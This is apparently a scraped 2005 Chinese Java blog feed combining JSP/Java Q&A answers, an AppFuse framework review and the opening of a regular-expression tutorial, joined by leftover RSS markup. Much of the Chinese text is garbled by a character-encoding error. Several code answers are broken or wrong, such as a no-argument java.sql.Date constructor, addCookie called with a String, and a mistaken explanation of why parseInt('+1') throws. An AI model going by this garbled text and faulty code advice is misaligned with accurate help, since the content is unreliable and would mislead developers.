43. 问:在jsp里面防止用户直接输入urlq去面Q应该怎么做呢Q?BR>{:
一是从web服务器控?Ҏ(gu)一目录的所有访问要通过验证.
二是在要讉K的页面中加入控制.q个一般用session,也可以用h状态码实现


44. 问:
例如后台有一计算应用E序Q此E序q算h很慢Q可持箋几分钟到几小Ӟq不,主要是能ȀzdQ,客户d提交后,服务器对dq行无误后向服务器后台程序发送信息,q将其激zR要求如下:
1Q首先将后台E序Ȁz,让它执行此Q务(比如Q前台将计算的C代码提交上后Q后台程序程序能马上调用Qƈ其q行Q?BR>2Q要在前台JSP面中显C行过E信息(׃q行旉长,希望让客L到运行过E中产生的信息)如何完成Q?BR>
{:
zL可以?q行一个shell让它去运行后台就?但不可能取出q行信息,因ؓHTTP的超旉制不可能永远{你后台q行?而且信息如果要动态实时推出来得用SERVER PUSH技术?BR>


45. 问:数据库是datetime ?Q插入当前时间到数据库?
{:
java.sql.Date sqlDate = new java.sql.Date();
PreparedStatement pstmt = conn.prepareStatement("insert into foo(time) values(?)");
pstmt.setDate(1,sqlDate);
pstmt.executeUpdate();


46. 问:怎样L字符串前后的I格?BR>{:String.trim()


47. 问:session怎样存取intcd的变量?
{:
session.setAttribute("int", i+"");
int i = Integer.parseInt(session.getAttribute("int"));


48. 问:在javascript中如何输出的floatcd的数据保留两位小数?BR>{:Math.round(aaaaa*100)/100?BR>

49. 问:在beanU如何调用session
{:
你可把session对象作ؓ一个参Clbean
在BEAN中定义HttpServletRequest request;HttpSession session;
然后
session = request.getSession(false);
false为如果session为空,不徏立新的session
session作ؓ参数传入.其实只要request传入可?BR>

50. 问:如何把txt或word文g按原格式昄在jsp面或servlet上?
{:
其实一个非常简单的解决Ҏ(gu)是在服务器的MIME中指点定TEXT和W(xu)ORD的解释方?然后用JSP或SERVLET生成它就行了,客户端就会自动调用相应程序打开你的文档?BR>如果是希望按原格式的昄在页面上Q而不是调用其他程序打开那么你可以试试用WEBDEV协议,可以说这是MS的一个亮?它是在WEB方式下打开文档,和共享一?完全W合的要求?BR>

51. 问:object的cloneҎ(gu)Z么不能直接调用?
{:
q个Ҏ(gu)在object中是protected
Z么要把这个方法定义ؓprotected,q是一个折?它的目的是想知道你这个方法在Object里只是一个标?而不是一个实?比如

public class Object
{

.............
protected Object clone()
{}
}

所以直接承的clone()Ҏ(gu)q不能做M?你要使用q个Ҏ(gu)p重蝲q个Ҏ(gu)q放宽访问权限ؓpublic,或实现cloneable接口. 但它没法q样告诉你它没有真的实现,只好用protected Ҏ(gu)加以警示


52. 问:一个页面中如何h另外一个页面?
{:
要求是这些面必L兌,一是它们都有一个共同的层?也就是说是一个内的分面,当然可以是Q意,帧内再分帧也可以,另一个可能是当前H口弹出的窗?如果没有联系,那就不可能用一个页面刷新另一个页? 帧内只要一U一U引用就行了. 比如在左帧中一个页面中写top.right.location.reload();那么名ؓright的右帧中的页面就会刷? 弹出的一?用open时的名称h子窗?子窗口用openerhȝ?BR>

53. 问:如何在jsp中怎么样向客户端写cookiesQ?BR>{:
Cookie coo = new Cookie(name, value);
HttpServletResponse.addCookie(name);


54. 问:Z么jTextField1.setText("aaabbb");jTextField2.setText("AAABBB"); 得到的字体宽度不一P
{:是说如果不是指定ؓ{宽字体,每个字体的宽度都是不一L.因此JAVA中用FontMetrics cL取字W宽度?BR>

55. 问:String kk=application/octet-stream; name="G:/SMBCrack.exe";如何得到SMBCrack.exeQ?BR>{:
q应该是解析上传时候的二进制流得到的这一行里面格式是固定的,取到name="后面的字W串Q然后把";L。然后取最后一?后面的所有字W组成一个新字符串就行了?BR>

56. 问:如何传值ƈ不刷新页面?
{:
弹出一个页面进行值的选择或者输入,ok后用将gl原H口Q用javascript关闭打开的窗口即可:
window.close();opener.focus();



57. 问:有一个字W串Q?EF0C114EA4"Q如何变为a[0] = 0xEF a[1] = 0x0C a[2] = 0x11 a[3] = 0x4E a[4] = 0xA4Q?BR>{:
String str="EF0C114EA4F";
out.print(str+"<br>");
int l=str.length()/2+str.length()%2,j=0,k=0;
String[] a=new String[l];
for(int i=0;i<l;i++){
if(str.length()-j==1)
k=str.length();
else
k=j+2;
a[i]="0x"+str.substring(j,k);
out.print("a["+Integer.toString(i)+"]="+a[i]+"<br>");
j+=2;
}


58. 问:怎样一个int转换成一个四字节的byte数组Q?BR>{:
int x = 1234567;
byte[] b = new byte[4];
for(int i=0;i<b.length;i++)
{
b[i] = (x >>( i*8)) & 0xFF;
}


59. 问:indexOf()的用需要注意什么?
{:参数是指从第几位Q?Q?Q?Q?..Q开始搜索,而返回值是指搜索到的位|(0Q?Q?Q?.......Q注意是从零v的?BR>

60. 问:在Java应用E序中如何动态的d一个按钮?
{:
q里涉及一个组仉l的问题,lg要先于panel被显CZ处存?如果一panel已经昄?那么加在上面你能看到?但如果在同一个panel? 先有button A,假如按下它加了butt on B,q时你如果整个panel重给,那么A本n要重l?它的事g监听没有了,当然也就加不成B?所以如果要先有另一个panel,当按A时把B加在q个panel上ƈ重绘q个paenl,其实更好的方法是先把B加在panel?同一个也?把它setVisiable(flase),按A时设?true?BR>

61. 问:book mybook=new book(bookid);book是servlet,出错?BR>{:
book是servlet,能book mybook=new book(bookid);
说明自己实现了servlet容器?不然,servlet能让你自己去调用? servlet如果调用其实和EJBq?%的区别都没有,它们都是自己l承或实C些接?在这些父cL接口中实C如果和容器\"打交?的方?然后容器调用q些Ҏ(gu)来管理它,让它生成实例,池化,钝化,销?再生{?所以这样写是错误的?BR>

62. 问:l定一个字W串5*(5+9)/7怎样计算出结果?
{:
可有两种Ҏ(gu)
1。用堆栈完成
2。最单的Ҏ(gu)Q不用编E,如果有Q何一个数据库的化Q用select (5*(5+9)/7) from oneTable


63. 问:如何实现递交表单内容的加密解密?
{:
如果你用IE目前只能用SSL协议,q一层不要你考虑,否则只你用你自己的工具加密传?接收后再解密?至于如何加解,如果要和公认的系l结?q通用的MD5,RAS{公开法,如果你只是自׃自己?你随便按你的x把数据加上一些东?取回来按规则减掉q些东西,我敢保证除你自己没有M知道解密Ҏ(gu).


64. 问:Z么Integer.parseInt("+1");会抛出NumberFormatException的异常?
{:因ؓ"+"q行在JAVA中被重蝲.pȝ无法定你用的是术加还是字W??BR>q一点可以在JAVASCRIPT中更好地理解:
<form name="t"><input name=s value=1234></form>
var a = document.t.s.value+1;
q时a = 12345,因ؓdocument.t.s.value作ؓ字符?但var a = document.t.s.value-1;
a 是1233,因ؓpȝ知道-q算肯定是算术运?所以把document.t.s.value转换成数?



65. 问:hashCode() 有什么用Z么有时候需要覆盖Object里的hashcode()Ҏ(gu)Q?BR>{:q就是这个对象的w䆾证啊,要不如何区分哪个对象?BR>

66. 问:怎样在tomcat中实C个定时执行的东东Q?BR>{:
在应用程序启动时自动q行。servlet2.3中定义了ServletListener,监听Servlet Con text的启动或则关闭(可在配置文g中配|)Q启动时触发一个守护程序的q行(可以实现java.util.Timer或则 javax.swing.Timer).


67. 问:E序可以输出自己吗?
{:孔d(zhn)论q个非常有名的法?是说Q何程序都不可能输?


68. 问:能够把字W{化成ASCII码?比如?A 转化?65Q?BR>{:
int a='A';
out.println(a);


69. 问:如何区分输入的文字中的全角与半角Q?BR>{:׃不能分L出全角和半角字符的值有什么规?只好把全角符L丑և来了.


70. 问:用户注册后的自动发信E序该怎么做?
{:
q种发信E序不考虑性能,因ؓ不可?U就有一个h注册,我们说的考虑性能的发信程序是指上百万信在队列里要不停发送的那种,象你q个随便怎么写一个程序都?没有必要用JAVAMAIL.只要指定一个发信的服务器然后用cocketq它?5口就行了.自己用SOCKETqSMTP?5口发一信好象两个邻居之间送一样东?直接递过d?用JAVAMAIL,消息机制是你把q个东西从邮局寄给你的d?

frankboy 2005-12-27 23:39 发表评论
]]>
Appfusehttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25638.htmlfrankboyfrankboyTue, 27 Dec 2005 15:21:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25638.htmlhttp://www.aygfsteel.com/frankboy/comments/25638.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25638.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25638.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25638.html 
Appfuseȝ

使用AppFuseq行开发的ȝ


AppFuse 是一个集成了当前最行的Web应用框架的一个更高层ơ的Web开发框Ӟ也可以说是一个Web开发基q_Q它与它所集成的各U框架相比,它提供了一部分所有Webpȝ开发过E中都需要开发的一些功能,如登陆、用户密码加密,用户理、根据不同的用户可以展现不同的菜单,可以自动生成40Q?60%左右的代码,自带了默认的一些在CSS中设定的样式Q用这些样式能很快的改变整个系l的外观Q还有自动化试的功能?

它最大的价值就是ؓ我们提供了一个Web开发的新的方式和思\Q尽这些技术在国外都已q很行了,但在国内能够Hibernate、Struts、Spring?DBUnit、Ant、Log4J、Struts Menu、Xdoclet、SiteMesh、Velocity、JUnit、JSTL、WebWorkq些技术集成到一个框架中的还不多见,所以即使不使用它的全部功能Q它也给我们提供了一个很好的借鉴、学习的Z?

通过xAppFuseQ我们可以看到目前国外的L开发都使用了哪些技术,开发方式是什么样的,可能辑ֈ什么样的结果,而在以前Q是很少能够看到q样完整的例子的?

AppFuse的另一个启C是Q我们可以依靠开源Y件的功能降低开发成本,而且可以阅读开源Y件的代码提高所在团队的整体实力?

AppFuse 的作?matt raible是当今开源世界一个比较活跃的开发者,它是AppFuse、Struts Menu的作者,也是XDoclet、DisplayTag{一些著名开源项目的U极参与者,《Hibernate In Action》的作者就在感谢的名单里面提到他,XDoclet的下载版本中所带的Hibernate标签部分的例子就是他写的Q他q是2004q?Apache技术年会的主讲Z一。(q些都是我这2个多月来搜集到的Q呵呵)

但是通过2个月的实际学习和使用Q我也遇Cpd的问题,因ؓAppFuse是将其他的一些类库或者框枉成在一LQ集成的技术众多,而且有一些技术在国内甚至很少有h知道Q资料也比较?yu),所以虽然作者经q了一些测试,但都是基于英文编码的Q而对于中文编码来_q潜在的存在着一些问题,虽然不是AppFuse的问题,但却降低了开发速度Q下面是我在开发过E中遇到q的问题Q有些解决了Q有些还没有解决Q?
一QStruts
1Q?AppFuse中默认的MVC框架是StrutsQ而且使用的是LookupDispatchActionQƈ且用的是按钮(buttonQ,在XP下用IE览效果q可以,但如果在2000或?8下,׃外观很难看,而且当时我还遇到一个问题:如果按钮昄中文Q则在DisplayTag中翻失灵,而且报错Q后来我把BaseAction的相x法改变了Q才可以使用Q因为国内的客户都比较重视界面,所以后来我那些按钮都Ҏ(gu)囄了,当然也要d一些方法了Q有炚w烦!
2Q?Struts中的标签如今推荐使用的只有html部分的标{了Q其他的标签或者可以用JSTL替代Q或者已l不推荐使用了,而且AppFuse中推荐用JSTLQ而JSTL和struts的标{联合使用Ӟ需要的不是<html:标签>Q而是<html-el:标签>Q这个问题曾l困C我整?天?
3Q?Struts的Validation的校验规则ƈ不完善,比如如果使用客户端的javascript校验Q则在邮׃输入汉字Ҏ(gu)校验不出来,C服务器端报错?
4Q最严重的问题是AppFuse生成的Struts的validation.xml文g中有许多多余的?”,如果你去掉了Q常常在执行ant?deployd时又恢复原样。这h提交表单的时候经怼报javascript的脚本错误或者缺对象或者缺valueQ所以我会手工的修改q个文gQ然后把修改后的文g备䆾Q当重新生成有错误的文gӞ我会用备份的没有错误的文件去覆盖?
5Q?Struts的validatioin对于使用同一个FormBean的Action的校验方式比较复杂。(待解冻I?
二.Hibernate
1Q?Hibernate是现在受到越来越多的人推崇的一个ORM工具Q框架、类库)Q它?yu)我们从J琐的用JDBC的开发过E中解放出来Q但同时也带来了新的问题Q如学习曲线Q执行效率,数据库设计优化,q有最重要的灵zL。Hibernate不是一个很Ҏ(gu)上手的东西,要完全驾驭它q需要读很多资料Q但好的资料却很?
2Q?使用Xdoclet可以很方便的生成Hibernate中的持久cȝ配置文gQ?.hbm.xmlQ?但对一些特D的映射却无能ؓ力,如用序列的id生成规则Q序列的名字没有地方写,所以也只好先利用它生成主要的内容,然后手工修改?
3Q?同样q是id的生成策略问题,如果使用序列、hilo{需要一些数据库机制支持的策略时QschemaExportq不能自动生成序列或者保存当前id的表Q这工作仍然要手工解决?
4Q?Hibernate中提供了几种兌Q一对一、一对多、多对多Q但对于怎样调整效率却没有一个很明确的提C,q要Ҏ(gu)情况判定Q这带来和一些弹性的设计?
5Q?Hibernate中可以选择的操作数据库的方式有3U,其中HQL功能最强大Q但有些功能使用标准查询可能会更方便Q但会有一些限Ӟ所以虽然它很灵z,但易用性不如JDBC好?
三.Spring
在AppFuse的过E中QSpring完全隐藏在幕后,除了一些配|外Q几乎感觉不到它的存在,所以我在用它的过E中q没有遇C么麻烦,q里只是单的介绍一下它在AppFuse中v到的作用?
1Q?Spring在AppFuse中v到的主要作用是对Hibernate的Session和事务的理Q利用Spring装的Hibernate模板c,我们大大地减了实现DAO的代码行数?
2Q?SpringqvCq接映射文g和类之间的关联,及接口和实现cM间的兌Q这些都依赖于Spring的IoC的机制的实现?
3Q?对于字符q行~码和解码部分用CSpring自带的FilterQ只需要在配置文g中配|就好了?

四.SiteMesh
SiteMesh是一个基于Decorator模式的技术,它可以修饰返回的|页文gQ它的工作方式受到越来越多的人的推崇Q这点从Manning出版的一些技术书c中可以看出来?
我在使用SiteMesh的过E中q不利Q我参考了《Java Open Source Programming》,q本书中说SiteMesh在默认的情况下不对下载文件进行装饎ͼ但我在下载文件时发现Q我的文件内容被丢弃了,取而代之的?SiteMesh的模板的内容Q后来我通过修改SiteMesh的配|文件解决了q个问题Q但感觉q有一些不太清楚的地方需要学习?

五.DisplayTag
DisplayTag 是一个优U的显C内容的标签Q从SourceForge的访问量来看Q它是很z跃的项目,仅次于Ant、Hibernate、Xdoclet{几个著名的目Q我ȝQ它的主要功能有4:昄、分c排序、将昄的数据写入指定类型的文g中,然后下蝲?
1Q?据我使用的情늜Q我只用了分页和显C的功能Q因为当时我没有很好的解决中文编码的问题Q所以排序会有问题,直到昨天Q我在朋友的帮助下解决了q个问题Q至此我可以攑ֿ使用的功能又增加了排?我昨天简单的试了一下是可以??

2Q?但对于将昄的内容生成到一个指定格式的文g中的功能却有着很多~陷Q如Q?
Q?Q?生成的文件中只有昄的数据,那些没有昄在界面上的的数据Q则不会被写到文件中?
Q?Q?如果修改了DisplayTag的显C的内容Q比如添加一列,在这列中的内容不是字W,而是HTML的标{,则生成的文g只有q些HTML标签Q而没有数据?
Q?Q?即DisplayTag中没有我们定制的HTML脚本Q生成的文g偶尔也有问题Q比如:它会把?07”生成ؓ?”,把字W串自动的{换ؓ整型倹{有时候还生成I白内容的文件?
Q?Q?DisplayTag生成的Excel文g兼容性不好,有时在Excel2003中不能正常打开Q或者在XP下打开报错?
后来Q我看了作者写的《Spring Live》,书中说如果想实现E_的ExcelQ推荐用POIQ于是我使用POI生成ExcelQ稳定性和兼容性都不错?

六.DBUnit
DBUnit是一个可以被Ant集成的向数据库中d数据和备份数据的一个类库,配置很方便,因ؓAppFuse已经集成好了Q所以用也很容易?
但是如果你用EditPlus之类的工h工修改了AppFuse生成的内容,则执行Ant的setup、setup-db或者deploy的Q务时Q常常报错,说无效的格式Q这是因个被手工修改的文件再ơ被AppFuse执行后,它的W一行的文g声明的前几个字母是无效的Q是因ؓ本地的字W集~码的原因而引起了qQ如果把q几个无效的字母LQ问题就解决了?

七.Struts Menu
Struts Menu也是AppFuse的作者开发的一个开源YӞ它可以根据配|文件读取当前用户可以用的功能菜单Q这个功能是我一直以来都惌的,我也扑ֈ了一些代码,但实现的都不如这个完善,没什么好说的Q用简单,配置Ҏ(gu)Q很好的解决了我的问题?
问题是我只用了AppFuse提供?个角Ԍ对于多个角色的实验我q没有做?

八.XDoclet
在AppFuse中,使用Xdoclet生成了几乎一切的配置文gQStruts-config.xml、web.xml、validation.xml?.hbm.xml{文Ӟ如果使用AppGen的话Q还会生成更多的文gQ这一切都是用Xdoclet实现的?
问题是我在Struts部分提到的,生成的Validation.xml文g中会多生成一个?”,另外在生成资源文件时也会多生成一个?”,目前我没有很好的阅读q段代码Q不知道是不是Xdoclet的问题?

?ji).Ant
Antq没有什么问题,但在执行作者写的Antd的时候,有一些Q务不能正常执行,比如Q运行模拟对象测试的dQ作者也?.7版本的修复列表中提到以前版本有些antd不能执行Q在1.7中修改了一些antdQ他们能够正常的执行了?
实际上,我们如果使用AppGenq行开发的话,使用的Q务一般不过8个?

十.JSTL
JSTL 是个好东西,我常用的?lt;c:>?lt;fmt:>部分的标{,但是如果使用JSTLq行逻辑判断Q我q没有感觉比使用JSP的代码块优雅多少。另外,熟?zhn)JSTL也需要一D|_我就l历了面对着JSP面不知道该怎么写JSTL语法的困境。当ӞAppFuse中用的基本都是 JSTLQ包括向DisplayTag传递显C的数据Q用的都是JSTL语法Q这斚w的资料挺多,我参考的是电(sh)子工业出版社出的《JSP2.0技术》,说的很详l?

十一.Tomcat
你也怼_“Tomcat׃用说了吧Q”,是的QTomcat一般都会用,但是 ―――――――――――――Tomcat5和Tomcat4.X对于中文~码使用了不同的机制Q这个问题困C我好久,我解决了面上写入汉字显CZؕ码的问题Q我也曾l以为DisplayTagҎ(gu)字不能排序,也不能正常分|因ؓDisplayTag的开发者都是老外Q是因ؓ他们没有考虑中文的关pȝ原因?
直到昨天Q我才知道这一切都是因为Tomcat5Ҏ(gu)字编码的实现的方式和Tomcat4不一L原因Q如果感兴趣Q可以看看这个帖子: http://www.javaworld.com.tw/jute/post/view?bid=9&id=44042&sty=1&tpg=1&age=0

十二.JavaScript
JavaScript单易学,但想q用自如׃太容易了。AppFuse中嵌入了几个js文gQ里面包含了许多函数Q值得我们好好的研I一下,比如Q如果有一个必填字D|有填写,AppFuse会自动的聚焦在那个input上,cM的小技巧有很多Q你可以自己ȝ看?
但AppFuse 自带的JavaScript脚本有一个BugQ就是当DisplatyTag中没有可以显C的数据Ӟ你用鼠标单击Q它会报JavaScript错误Q你仔细研究一下function highlightTableRows(tableId) q道了Q我的解军_法是在location.href = link.getAttribute("href");前面d一行判断:if (link != null)?

十三.资源文g国际?
对于Struts和DisplayTag都涉及到资源文g国际化AppFuse1.6.1很好的解决了Struts资源映射文g国际化的问题Q你只需要在对应本国语言的资源文件中写入汉字QAnt中有一Ҏ(gu)行native2ascii的Q务,AppFuse自动的ؓ你进行了资源文g的编码{换,而对?DisplayTag的资源文仉题,q要自己执行native2ascii命oQؓ了避免每ơ都输入一串命令,我用Delphi写了个小工具Q可视化的选择资源文gQ点L钮自动执行该命oQ底层依赖于JDK?


l过2个多月的学习Q我感觉q个框架非常不错Q它为我以后的项目开发指Z一个新的方向,但如果想很熟l的使用q个框架q行开发,臛_要对以下几种技术比较熟l:Struts(或者WebWork、Spring及其他的已经整合q来的MVC框架)、HibernateQ或者ibatisQ、JSTLQ当然其他的技术至也要知道一点,否则遇到问题都不知道出在哪里?


目前我还没有解决的问题有Q?
1Q?如何在翻늚时候才d下面的数据?
2Q?怎样对用同一个FormBean的多个Formq行客户端校验?
3Q?怎样优化Hibernate的效率?《Hibernate In Action》中提供了多U策略,有些时候应该用lazyQ有些时候应该用outer-join?
4Q在什么时机生成导出文Ӟ目前我是在查询的Action中同时生成了导出文gQ否则,C下一,我就不知道查询条件了Q当Ӟ如果把拼装后的HQL存储在Session或者Hidden中也可以解决q个问题Q但是这样就破坏了DAO的封装,要把DAO装后的HQL发送给ActionQ然后发送的?Web界面层,所以目前我q在犹U生成导出文g的时机选择在哪里?
5Q?什么时候应该自p取数据库q接Q执行native SQLQ具体需要注意些什么?
6Q?SiteMesh的模板优化?
7Q?DisplayTag的底层实玎ͼ


每个问题都比较棘手,要一个一个解冻I

q个框架的优Ҏ(gu)Q如果熟(zhn)了开发流E,可以大幅度的提高开发速度Q如果业务不是很复杂Q用AppGen可以生成60%左右的代码,而且E序可维护性好Q因Z者用了多个设计模式对各个层面进行了装Q所以不同的模块代码风格出奇的一_有利于开发h员快速上手,也有利于接收其他开发h员遗留的代码?/P>



frankboy 2005-12-27 23:21 发表评论
]]>
正则表达?/title><link>http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:18:00 GMT</pubDate><guid>http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html</guid><wfw:comment>http://www.aygfsteel.com/frankboy/comments/25637.html</wfw:comment><comments>http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/frankboy/comments/commentRss/25637.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/frankboy/services/trackbacks/25637.html</trackback:ping><description><![CDATA[<H2 id=header55>正则表达?/H2> <P>(转脓(chung))</P> <P>作ؓ本章的结,我们来看一看正则表辑ּ(regular expression)。正则表辑ּ?SPAN class=original_words>JDK 1.4</SPAN>的新功能Q但是对sed和awkq样的Unix的标准实用工P以及PythonQPerl之类的语a来讲Q它早就已经成ؓ其不可或~的l成部分?有h甚至认ؓQ它q是Perl能大h功的最主要的原?。单从技术角度来Ԍ正则表达式只是一U处理字W串的工?q去<span id="wmqeeuq" class=original_words>Java</SPAN>q个d是交?SPAN class=original_words>String</SPAN>Q?SPAN class=original_words>StringBuffer</SPAN>以及<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>处理?Q但是它常常和I/O一起用,所以放到这里来讲也不算太离题吧?A id=ref66 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment66"><SUP>[66]</SUP></A></P> <P>正则表达式是一U功能强大但又非常灵zȝ文本处理工具。它能让你用~程的方式来描述复杂的文本模式,然后在字W串里把它找出来。一旦你扑ֈ了这U模式,你就能随心所Ʋ地处理q些文本了。虽然初看v来正则表辑ּ的语法有点让人望而生畏,但它提供了一U精l的动态语aQ我们能用一U通用的方式来解决各种字符串的问题Q包括匹配,选择Q编辑以及校验?/P> <H3 id=header56>创徏正则表达?/H3> <P>你可以从比较单的东西入手学习正则表达式。要惛_面地掌握怎样构徏正则表达式,可以ȝ<span id="wmqeeuq" class=original_words>JDK</SPAN>文档?SPAN class=original_words>java.util.regex</SPAN>?SPAN class=original_words>Pattern</SPAN>cȝ文档?/P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR> <TH colSpan=2>字符</TH></TR> <TR> <TD><span id="wmqeeuq" class=original_words>B</SPAN></TD> <TD>字符<span id="wmqeeuq" class=original_words>B</SPAN></TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\xhh</SPAN></TD> <TD>16q制?SPAN class=original_words>0xhh</SPAN>所表示的字W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\uhhhh</SPAN></TD> <TD>16q制?SPAN class=original_words>0xhhhh</SPAN>所表示的Unicode字符</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\t</SPAN></TD> <TD>Tab</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\n</SPAN></TD> <TD>换行W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\r</SPAN></TD> <TD>回RW?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\f</SPAN></TD> <TD>换页W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\e</SPAN></TD> <TD>Escape</TD></TR></TBODY></TABLE> <P>正则表达式的强大体现在它能定义字W集(character class)。下面是一些最常见的字W集及其定义的方式,此外q有一些预定义的字W集Q?/P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR vAlign=top> <TH colSpan=2><span id="wmqeeuq" class=original_words>字符?/SPAN> </TH></TR> <TR vAlign=top> <TD vAlign=top><span id="wmqeeuq" class=original_words>.</SPAN> </TD> <TD vAlign=top>表示L一个字W?</TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[abc]</SPAN> </TD> <TD vAlign=top width=311>表示字符<span id="wmqeeuq" class=original_words>a</SPAN>Q?SPAN class=original_words>b</SPAN>Q?SPAN class=original_words>c</SPAN>中的L一??SPAN class=original_words>a|b|c</SPAN>相同) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[^abc]</SPAN> </TD> <TD vAlign=top width=311>?SPAN class=original_words>a</SPAN>Q?SPAN class=original_words>b</SPAN>Q?SPAN class=original_words>c</SPAN>之外的Q意一个字W?否定) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[a-zA-Z]</SPAN> </TD> <TD vAlign=top width=311>?SPAN class=original_words>a</SPAN>?SPAN class=original_words>z</SPAN>?SPAN class=original_words>A</SPAN>?SPAN class=original_words>Z</SPAN>当中的Q意一个字W?范围) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[abc[hij]]</SPAN> </TD> <TD vAlign=top width=311><span id="wmqeeuq" class=original_words>a,b,c,h,i,j</SPAN>中的L一个字W??SPAN class=original_words>a|b|c|h|i|j</SPAN>相同)(q) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[a-z&&[hij]]</SPAN> </TD> <TD vAlign=top width=311><span id="wmqeeuq" class=original_words>h,i,j</SPAN>中的一?交集) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\s</SPAN> </TD> <TD vAlign=top width=311>I格字符(I格? tab, 换行, 换页, 回R) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\S</SPAN> </TD> <TD vAlign=top width=311>非空格字W?<span id="wmqeeuq" class=original_words>[^\s]</SPAN>) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\d</SPAN> </TD> <TD vAlign=top width=311>一个数字,也就?SPAN class=original_words>[0-9]</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\D</SPAN> </TD> <TD vAlign=top width=311>一个非数字的字W,也就?SPAN class=original_words>[^0-9]</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\w</SPAN> </TD> <TD vAlign=top width=311>一个单词字W?word character)Q即<span id="wmqeeuq" class=original_words>[a-zA-Z_0-9]</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\W</SPAN> </TD> <TD vAlign=top width=311>一个非单词的字W,<span id="wmqeeuq" class=original_words>[^\w]</SPAN> </TD></TR></TBODY></TABLE> <P>如果你用q其它语a的正则表辑ּQ那么你一眼就能看出反斜杠的与众不同。在其它语言里,"<span id="wmqeeuq" class=original_words>\\</SPAN>"的意思是"我只是要在正则表辑ּ里插入一个反斜杠。没什么特别的意思?但是在Java里,"<span id="wmqeeuq" class=original_words>\\</SPAN>"的意思是"我要插入一个正则表辑ּ的反斜杠Q所以跟在它后面的那个字W的意思就变了?举例来说Q如果你惌CZ个或更多?单词字符"Q那么这个正则表辑ּ应该是"<span id="wmqeeuq" class=original_words>\\w+</SPAN>"。如果你要插入一个反斜杠Q那得?<span id="wmqeeuq" class=original_words>\\\\</SPAN>"。不q像换行Q蟩gcȝq是只用一根反斜杠Q?\n\t"?/P> <P>q里只给你讲一个例子;你应?SPAN class=original_words>JDK</SPAN>文档?SPAN class=original_words>java.util.regex.Pattern</SPAN>加到收藏多wQ这样就能很Ҏ(gu)地找到各U正则表辑ּ的模式了?/P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR> <TH colSpan=2>逻辑q算W?</TH></TR> <TR> <TD>XY</TD> <TD>X 后面跟着 Y</TD></TR> <TR> <TD>X|Y</TD> <TD>X或Y</TD></TR> <TR> <TD>(X)</TD> <TD>一?要匹配的l?capturing group)". 以后可以用\i来表C第i个被匚w的组?/TD></TR></TBODY></TABLE> <P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR vAlign=top> <TH vAlign=top width=383 colSpan=2>边界匚wW?</TH></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>^</SPAN> </TD> <TD vAlign=top width=239>一行的开?</TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>$</SPAN> </TD> <TD vAlign=top width=239>一行的l尾 </TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>\b</SPAN> </TD> <TD vAlign=top width=239>一个单词的边界 </TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>\B</SPAN> </TD> <TD vAlign=top width=239>一个非单词的边?</TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>\G</SPAN> </TD> <TD vAlign=top width=239>前一个匹配的l束 </TD></TR></TBODY></TABLE> <P>举一个具体一些的例子。下面这些正则表辑ּ都是合法的,而且都能匚w"Rudolph"Q?/P> <BLOCKQUOTE><PRE>Rudolph [rR]udolph [rR][aeiou][a-z]ol.* R.*</PRE></BLOCKQUOTE> <H3 id=header57>数量表示W?/H3> <P>"数量表示W?quantifier)"的作用是定义模式应该匚w多少个字W?/P> <UL> <LI>Greedy(贪婪?Q?除非另有表示Q否则数量表C符都是greedy的。Greedy的表辑ּ会一直匹配下去,直到匚w不下Mؓ止?U>(如果你发现表辑ּ匚w的结果与预期的不W?</U>Q很有可能是因ؓQ你以ؓ表达式会只匹配前面几个字W,而实际上它是greedy的,因此会一直匹配下厅R? 